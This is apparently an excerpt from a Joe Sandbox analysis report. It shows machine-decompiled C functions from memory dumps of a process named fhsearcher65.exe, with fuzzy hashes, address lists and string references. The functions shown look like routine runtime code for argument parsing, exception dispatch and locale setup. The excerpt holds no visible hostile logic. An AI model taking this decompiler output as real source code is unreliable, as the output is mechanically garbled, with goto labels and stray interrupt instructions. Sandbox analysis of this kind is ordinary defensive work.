Opcode Fuzzy Hash: 4ae3716cfb8fb9acb1e46d939e07dfd01a0df281aa92a38d95222557ad94e3f0
Instruction Fuzzy Hash: D24171707042685BDB21CB28DD44BF777FDDB85304F9404AED1C687142D2789D459B18

Uniqueness

Uniqueness Score: -1.00%

Function 0041A69D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0041A69D(void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				char* _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t26;
				intOrPtr* _t36;
				signed int _t37;
				signed int _t40;
				char _t42;
				signed int _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr _t48;
				signed int _t49;
				signed int _t54;
				void* _t57;
				intOrPtr* _t58;
				signed int _t64;
				signed int _t66;

				_t57 = __edx;
				_t48 = _a4;
				if(_t48 != 0) {
					__eflags = _t48 - 2;
					if(_t48 == 2) {
						L5:
						E00424C33(_t48);
						E0042467A(_t48, _t57, 0, 0x450790, 0, 0x450790, 0x104);
						_t26 =  *0x450cd8; // 0x17d34c0
						 *0x450cc8 = 0x450790;
						_v20 = _t26;
						__eflags = _t26;
						if(_t26 == 0) {
							L7:
							_t26 = 0x450790;
							_v20 = 0x450790;
							L8:
							_v8 = 0;
							_v16 = 0;
							_t64 = E0041A947(E0041A7D3( &_v8, _t26, 0, 0,  &_v8,  &_v16), _v8, _v16, 1);
							__eflags = _t64;
							if(__eflags != 0) {
								E0041A7D3( &_v8, _v20, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
								__eflags = _t48 - 1;
								if(_t48 != 1) {
									_v12 = 0;
									_push( &_v12);
									_t49 = E004245A8(_t64, _t64);
									__eflags = _t49;
									if(_t49 == 0) {
										_t58 = _v12;
										_t54 = 0;
										_t36 = _t58;
										__eflags =  *_t58;
										if( *_t58 == 0) {
											L17:
											_t37 = 0;
											 *0x450ccc = _t54;
											_v12 = 0;
											_t49 = 0;
											 *0x450cd0 = _t58;
											L18:
											E0041E668(_t37);
											_v12 = 0;
											L19:
											E0041E668(_t64);
											_t40 = _t49;
											L20:
											return _t40;
										} else {
											goto L16;
										}
										do {
											L16:
											_t36 = _t36 + 4;
											_t54 = _t54 + 1;
											__eflags =  *_t36;
										} while ( *_t36 != 0);
										goto L17;
									}
									_t37 = _v12;
									goto L18;
								}
								_t42 = _v8 - 1;
								__eflags = _t42;
								 *0x450ccc = _t42;
								_t43 = _t64;
								_t64 = 0;
								 *0x450cd0 = _t43;
								L12:
								_t49 = 0;
								goto L19;
							}
							_t44 = E004139A1(__eflags);
							_push(0xc);
							_pop(0);
							 *_t44 = 0;
							goto L12;
						}
						__eflags =  *_t26;
						if( *_t26 != 0) {
							goto L8;
						}
						goto L7;
					}
					__eflags = _t48 - 1;
					if(__eflags == 0) {
						goto L5;
					}
					_t45 = E004139A1(__eflags);
					_t66 = 0x16;
					 *_t45 = _t66;
					E004138C7();
					_t40 = _t66;
					goto L20;
				}
				return 0;
			}

0x0041a69d
0x0041a6a6
0x0041a6ab
0x0041a6b5
0x0041a6b8
0x0041a6d5
0x0041a6d6
0x0041a6e9
0x0041a6ee
0x0041a6f6
0x0041a6fc
0x0041a6ff
0x0041a701
0x0041a708
0x0041a708
0x0041a70a
0x0041a70d
0x0041a710
0x0041a717
0x0041a730
0x0041a735
0x0041a737
0x0041a758
0x0041a760
0x0041a763
0x0041a77e
0x0041a781
0x0041a788
0x0041a78c
0x0041a78e
0x0041a795
0x0041a798
0x0041a79a
0x0041a79c
0x0041a79e
0x0041a7a8
0x0041a7a8
0x0041a7aa
0x0041a7b0
0x0041a7b3
0x0041a7b5
0x0041a7bb
0x0041a7bc
0x0041a7c2
0x0041a7c5
0x0041a7c6
0x0041a7cc
0x0041a7cf
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a7a0
0x0041a7a0
0x0041a7a0
0x0041a7a3
0x0041a7a4
0x0041a7a4
0x00000000
0x0041a7a0
0x0041a790
0x00000000
0x0041a790
0x0041a768
0x0041a768
0x0041a769
0x0041a76e
0x0041a770
0x0041a772
0x0041a777
0x0041a777
0x00000000
0x0041a777
0x0041a739
0x0041a73e
0x0041a740
0x0041a741
0x00000000
0x0041a741
0x0041a703
0x0041a706
0x00000000
0x00000000
0x00000000
0x0041a706
0x0041a6ba
0x0041a6bd
0x00000000
0x00000000
0x0041a6bf
0x0041a6c6
0x0041a6c7
0x0041a6c9
0x0041a6ce
0x00000000
0x0041a6ce
0x00000000

Strings

C:\Program Files (x86)\fhSearcher\fhsearcher65.exe, xrefs: 0041A6E0, 0041A6E7, 0041A71D

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe
API String ID: 0-2024707453
Opcode ID: 0e731db7584ad60d578d779bbaf5b01c679ed323d4b1edda6f57c3d6e2435286
Instruction ID: 676f0bd12b27e4697f3c283d57093e5f2334d3a5ceeed1b25252df76516fde9d
Opcode Fuzzy Hash: 0e731db7584ad60d578d779bbaf5b01c679ed323d4b1edda6f57c3d6e2435286
Instruction Fuzzy Hash: D141C175A01214AFCB129B9ACC819DFBBB8EB85310F10006BF41097351D778CB91DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 10006DF4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E10006DF4(void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				char* _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				char* _t26;
				intOrPtr* _t36;
				signed int _t37;
				signed int _t40;
				char _t42;
				signed int _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr _t48;
				signed int _t49;
				signed int _t54;
				void* _t57;
				intOrPtr* _t58;
				void* _t59;
				signed int _t64;
				signed int _t66;

				_t57 = __edx;
				_t48 = _a4;
				if(_t48 != 0) {
					__eflags = _t48 - 2;
					if(_t48 == 2) {
						L5:
						_push(_t59);
						E1000A0E5(_t48, _t59);
						E10009B2C(_t48, _t57, 0, 0x10017d98, 0, 0x10017d98, 0x104);
						_t26 =  *0x10018338; // 0x17d34c0
						 *0x10018328 = 0x10017d98;
						_v20 = _t26;
						__eflags = _t26;
						if(_t26 == 0) {
							L7:
							_t26 = 0x10017d98;
							_v20 = 0x10017d98;
							L8:
							_v8 = 0;
							_v16 = 0;
							_t64 = E1000709E(E10006F2A( &_v8, _t26, 0, 0,  &_v8,  &_v16), _v8, _v16, 1);
							__eflags = _t64;
							if(__eflags != 0) {
								E10006F2A( &_v8, _v20, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
								__eflags = _t48 - 1;
								if(_t48 != 1) {
									_v12 = 0;
									_push( &_v12);
									_t49 = E10009A1F(_t64, _t64);
									__eflags = _t49;
									if(_t49 == 0) {
										_t58 = _v12;
										_t54 = 0;
										_t36 = _t58;
										__eflags =  *_t58;
										if( *_t58 == 0) {
											L17:
											_t37 = 0;
											 *0x1001832c = _t54;
											_v12 = 0;
											_t49 = 0;
											 *0x10018330 = _t58;
											L18:
											E10008701(_t37);
											_v12 = 0;
											L19:
											E10008701(_t64);
											_t40 = _t49;
											L20:
											return _t40;
										} else {
											goto L16;
										}
										do {
											L16:
											_t36 = _t36 + 4;
											_t54 = _t54 + 1;
											__eflags =  *_t36;
										} while ( *_t36 != 0);
										goto L17;
									}
									_t37 = _v12;
									goto L18;
								}
								_t42 = _v8 - 1;
								__eflags = _t42;
								 *0x1001832c = _t42;
								_t43 = _t64;
								_t64 = 0;
								 *0x10018330 = _t43;
								L12:
								_t49 = 0;
								goto L19;
							}
							_t44 = E10006406(__eflags);
							_push(0xc);
							_pop(0);
							 *_t44 = 0;
							goto L12;
						}
						__eflags =  *_t26;
						if( *_t26 != 0) {
							goto L8;
						}
						goto L7;
					}
					__eflags = _t48 - 1;
					if(__eflags == 0) {
						goto L5;
					}
					_t45 = E10006406(__eflags);
					_t66 = 0x16;
					 *_t45 = _t66;
					E1000632C();
					_t40 = _t66;
					goto L20;
				}
				return 0;
			}

0x10006df4
0x10006dfd
0x10006e02
0x10006e0c
0x10006e0f
0x10006e2c
0x10006e2c
0x10006e2d
0x10006e40
0x10006e45
0x10006e4d
0x10006e53
0x10006e56
0x10006e58
0x10006e5f
0x10006e5f
0x10006e61
0x10006e64
0x10006e67
0x10006e6e
0x10006e87
0x10006e8c
0x10006e8e
0x10006eaf
0x10006eb7
0x10006eba
0x10006ed5
0x10006ed8
0x10006edf
0x10006ee3
0x10006ee5
0x10006eec
0x10006eef
0x10006ef1
0x10006ef3
0x10006ef5
0x10006eff
0x10006eff
0x10006f01
0x10006f07
0x10006f0a
0x10006f0c
0x10006f12
0x10006f13
0x10006f19
0x10006f1c
0x10006f1d
0x10006f23
0x10006f26
0x00000000
0x00000000
0x00000000
0x00000000
0x10006ef7
0x10006ef7
0x10006ef7
0x10006efa
0x10006efb
0x10006efb
0x00000000
0x10006ef7
0x10006ee7
0x00000000
0x10006ee7
0x10006ebf
0x10006ebf
0x10006ec0
0x10006ec5
0x10006ec7
0x10006ec9
0x10006ece
0x10006ece
0x00000000
0x10006ece
0x10006e90
0x10006e95
0x10006e97
0x10006e98
0x00000000
0x10006e98
0x10006e5a
0x10006e5d
0x00000000
0x00000000
0x00000000
0x10006e5d
0x10006e11
0x10006e14
0x00000000
0x00000000
0x10006e16
0x10006e1d
0x10006e1e
0x10006e20
0x10006e25
0x00000000
0x10006e25
0x00000000

Strings

C:\Program Files (x86)\fhSearcher\fhsearcher65.exe, xrefs: 10006E37, 10006E74

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID:
String ID: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe
API String ID: 0-2024707453
Opcode ID: 1ece5218b2422689d95aac8363c4354a6b0412c233e2753c981cf0bd8d1cf806
Instruction ID: 646097fc6b5d669f55448d5f467022a3e50ec9bcd71d7e0a9af30093925523d1
Opcode Fuzzy Hash: 1ece5218b2422689d95aac8363c4354a6b0412c233e2753c981cf0bd8d1cf806
Instruction Fuzzy Hash: 8A41AF79E00295AFEB21CB99DC8199EBBFAEB897D0B304066F90497205D7719F41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0041286C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 69%

			E0041286C(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed char _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t110 = __edx;
				_t100 = __ecx;
				_t96 = _a4;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
					_t75 = E00412146(_t96, __ecx, __edx, _t113, _t121, _t113, _t121);
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(E00412146(_t96, __ecx, __edx, 0, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E00410038(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E0040FF6B(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E00412442(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E00419FF9(_t96, _t100, _t110, 0, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					if(_t78 == 0) {
						L41:
						_t80 = 1;
					} else {
						_t101 = _t78 + 8;
						if( *_t101 == 0) {
							goto L41;
						} else {
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
								_t97 = _t116[4];
								_t123 = 0;
								if(_t78 == _t97) {
									L33:
									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
										_t81 = _a8;
										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
												_t123 = 1;
											}
										}
									}
									_t80 = _t123;
								} else {
									_t59 = _t97 + 8; // 0x6e
									_t82 = _t59;
									while(1) {
										_t98 =  *_t101;
										if(_t98 !=  *_t82) {
											break;
										}
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									goto L31;
								}
							} else {
								goto L41;
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x0041286c
0x0041286c
0x00412873
0x0041287c
0x0041299b
0x00412882
0x00412884
0x0041288e
0x00412891
0x00412897
0x004128a1
0x004128c6
0x004128cb
0x004128d0
0x00412997
0x00000000
0x00412998
0x004128d0
0x004128a1
0x004128d6
0x004128d9
0x004128dc
0x004128e2
0x004128e8
0x004128fa
0x004128ff
0x00412902
0x00412905
0x00412908
0x0041290b
0x00412911
0x00412917
0x0041291a
0x0041291d
0x0041292c
0x0041292d
0x0041292d
0x00412932
0x00412945
0x00412947
0x0041294c
0x00412957
0x00412959
0x0041295b
0x00412977
0x0041297c
0x0041297f
0x0041297f
0x00412957
0x0041294c
0x00412985
0x00412986
0x00412989
0x0041298c
0x0041298f
0x00412992
0x0041291d
0x00000000
0x00412911
0x0041299c
0x004129a1
0x004129a5
0x004129a8
0x004129a9
0x004129aa
0x004129ab
0x004129b0
0x00412a28
0x00412a2a
0x004129b2
0x004129b2
0x004129b8
0x00000000
0x004129ba
0x004129bd
0x004129c0
0x004129c7
0x004129ca
0x004129ce
0x00412a00
0x00412a03
0x00412a0a
0x00412a10
0x00412a1a
0x00412a23
0x00412a23
0x00412a1a
0x00412a10
0x00412a24
0x004129d0
0x004129d0
0x004129d0
0x004129d3
0x004129d3
0x004129d7
0x00000000
0x00000000
0x004129db
0x004129ef
0x004129ef
0x004129dd
0x004129dd
0x004129e3
0x00000000
0x004129e5
0x004129e5
0x004129e8
0x004129ed
0x00000000
0x00000000
0x00000000
0x00000000
0x004129ed
0x004129e3
0x004129f8
0x004129fa
0x00000000
0x004129fc
0x004129fc
0x004129fc
0x00000000
0x004129fa
0x004129f3
0x004129f5
0x00000000
0x004129f5
0x00000000
0x00000000
0x00000000
0x004129c0
0x004129b8
0x00412a2b
0x00412a2f
0x00412a2f

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00412891

Strings

MOC, xrefs: 004128A3
RCC, xrefs: 004128AB

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 188dd02d7599aa30b8f70c009784331bdac1aa484947d381b84c6db6c6d716c1
Instruction ID: 825b9b77ff6a69729e643650ecc8a3f65a1ae5ad625dcd8cac4dee32d2e7c41a
Opcode Fuzzy Hash: 188dd02d7599aa30b8f70c009784331bdac1aa484947d381b84c6db6c6d716c1
Instruction Fuzzy Hash: 78415C71A0014DAFCF15DF98CE81AEEBBB5BF48304F18419AF904A6211D37999A0DB54

Uniqueness

Uniqueness Score: -1.00%

Function 10004FCB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 58%

			E10004FCB(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed char _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t110 = __edx;
				_t100 = __ecx;
				_t96 = _a4;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
					_push(_t121);
					_push(_t113);
					_t75 = E100048DC(_t96, __ecx, __edx, _t113, _t121);
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(E100048DC(_t96, __ecx, __edx, 0, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E10003F46(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E10003E79(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E10004BA1(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E100076E4(_t96, _t100, _t110, 0, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					if(_t78 == 0) {
						L41:
						_t80 = 1;
					} else {
						_t101 = _t78 + 8;
						if( *_t101 == 0) {
							goto L41;
						} else {
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
								_t97 = _t116[4];
								_t123 = 0;
								if(_t78 == _t97) {
									L33:
									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
										_t81 = _a8;
										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
												_t123 = 1;
											}
										}
									}
									_t80 = _t123;
								} else {
									_t59 = _t97 + 8; // 0x6e
									_t82 = _t59;
									while(1) {
										_t98 =  *_t101;
										if(_t98 !=  *_t82) {
											break;
										}
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									goto L31;
								}
							} else {
								goto L41;
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x10004fcb
0x10004fcb
0x10004fd2
0x10004fdb
0x100050fa
0x10004fe1
0x10004fe1
0x10004fe2
0x10004fe3
0x10004fed
0x10004ff0
0x10004ff6
0x10005000
0x10005025
0x1000502a
0x1000502f
0x100050f6
0x00000000
0x100050f7
0x1000502f
0x10005000
0x10005035
0x10005038
0x1000503b
0x10005041
0x10005047
0x10005059
0x1000505e
0x10005061
0x10005064
0x10005067
0x1000506a
0x10005070
0x10005076
0x10005079
0x1000507c
0x1000508b
0x1000508c
0x1000508c
0x10005091
0x100050a4
0x100050a6
0x100050ab
0x100050b6
0x100050b8
0x100050ba
0x100050d6
0x100050db
0x100050de
0x100050de
0x100050b6
0x100050ab
0x100050e4
0x100050e5
0x100050e8
0x100050eb
0x100050ee
0x100050f1
0x1000507c
0x00000000
0x10005070
0x100050fb
0x10005100
0x10005104
0x10005107
0x10005108
0x10005109
0x1000510a
0x1000510f
0x10005187
0x10005189
0x10005111
0x10005111
0x10005117
0x00000000
0x10005119
0x1000511c
0x1000511f
0x10005126
0x10005129
0x1000512d
0x1000515f
0x10005162
0x10005169
0x1000516f
0x10005179
0x10005182
0x10005182
0x10005179
0x1000516f
0x10005183
0x1000512f
0x1000512f
0x1000512f
0x10005132
0x10005132
0x10005136
0x00000000
0x00000000
0x1000513a
0x1000514e
0x1000514e
0x1000513c
0x1000513c
0x10005142
0x00000000
0x10005144
0x10005144
0x10005147
0x1000514c
0x00000000
0x00000000
0x00000000
0x00000000
0x1000514c
0x10005142
0x10005157
0x10005159
0x00000000
0x1000515b
0x1000515b
0x1000515b
0x00000000
0x10005159
0x10005152
0x10005154
0x00000000
0x10005154
0x00000000
0x00000000
0x00000000
0x1000511f
0x10005117
0x1000518a
0x1000518e
0x1000518e

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 10004FF0

Strings

RCC, xrefs: 1000500A
MOC, xrefs: 10005002

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 4d7ed7e1a438cb125378e558f69cca30710cf17c4f75dbaa5e6bce22c7dbe1d5
Instruction ID: d582f20fa4c8ccc8f50c3cacdc6089d2bedb682b0b99dde694d4e72c5554890f
Opcode Fuzzy Hash: 4d7ed7e1a438cb125378e558f69cca30710cf17c4f75dbaa5e6bce22c7dbe1d5
Instruction Fuzzy Hash: EB41AC71900209EFEF16CF94CC81AEE7BB5FF48385F158099F909A7265D736AA50CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00403F10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00403F10(intOrPtr _a4) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				char _v48;
				void* __ecx;
				void* __ebp;
				signed int _t34;
				signed int _t42;
				void* _t52;
				intOrPtr _t61;
				intOrPtr _t68;
				intOrPtr _t69;
				signed int _t74;
				void* _t75;

				_push(0xffffffff);
				_push(0x42c7bf);
				_push( *[fs:0x0]);
				_push(_t61);
				_t34 =  *0x43d054; // 0xd71f2cec
				_push(_t34 ^ _t72);
				 *[fs:0x0] =  &_v16;
				_t68 = _t61;
				_v20 = _t68;
				E0040E453(_t61, 0);
				_v8 = 0;
				 *((intOrPtr*)(_t68 + 4)) = 0;
				 *((char*)(_t68 + 8)) = 0;
				 *((intOrPtr*)(_t68 + 0xc)) = 0;
				 *((char*)(_t68 + 0x10)) = 0;
				 *((intOrPtr*)(_t68 + 0x14)) = 0;
				 *((short*)(_t68 + 0x18)) = 0;
				 *((intOrPtr*)(_t68 + 0x1c)) = 0;
				 *((short*)(_t68 + 0x20)) = 0;
				 *((intOrPtr*)(_t68 + 0x24)) = 0;
				 *((char*)(_t68 + 0x28)) = 0;
				 *((intOrPtr*)(_t68 + 0x2c)) = 0;
				 *((char*)(_t68 + 0x30)) = 0;
				_t39 = _a4;
				_v8 = 6;
				if(_a4 == 0) {
					E0040E406("bad locale name");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0xffffffff);
					_push(0x42c7e0);
					_push( *[fs:0x0]);
					_push(_t68);
					_t42 =  *0x43d054; // 0xd71f2cec
					_push(_t42 ^ _t74);
					 *[fs:0x0] =  &_v48;
					_t69 = _t61;
					E0040E781(_t61, _t69);
					_t46 =  *((intOrPtr*)(_t69 + 0x2c));
					_t75 = _t74 + 4;
					if( *((intOrPtr*)(_t69 + 0x2c)) != 0) {
						E00416328(_t46);
						_t75 = _t75 + 4;
					}
					 *((intOrPtr*)(_t69 + 0x2c)) = 0;
					_t47 =  *((intOrPtr*)(_t69 + 0x24));
					if( *((intOrPtr*)(_t69 + 0x24)) != 0) {
						E00416328(_t47);
						_t75 = _t75 + 4;
					}
					 *((intOrPtr*)(_t69 + 0x24)) = 0;
					_t48 =  *((intOrPtr*)(_t69 + 0x1c));
					if( *((intOrPtr*)(_t69 + 0x1c)) != 0) {
						E00416328(_t48);
						_t75 = _t75 + 4;
					}
					 *((intOrPtr*)(_t69 + 0x1c)) = 0;
					_t49 =  *((intOrPtr*)(_t69 + 0x14));
					if( *((intOrPtr*)(_t69 + 0x14)) != 0) {
						E00416328(_t49);
						_t75 = _t75 + 4;
					}
					 *((intOrPtr*)(_t69 + 0x14)) = 0;
					_t50 =  *((intOrPtr*)(_t69 + 0xc));
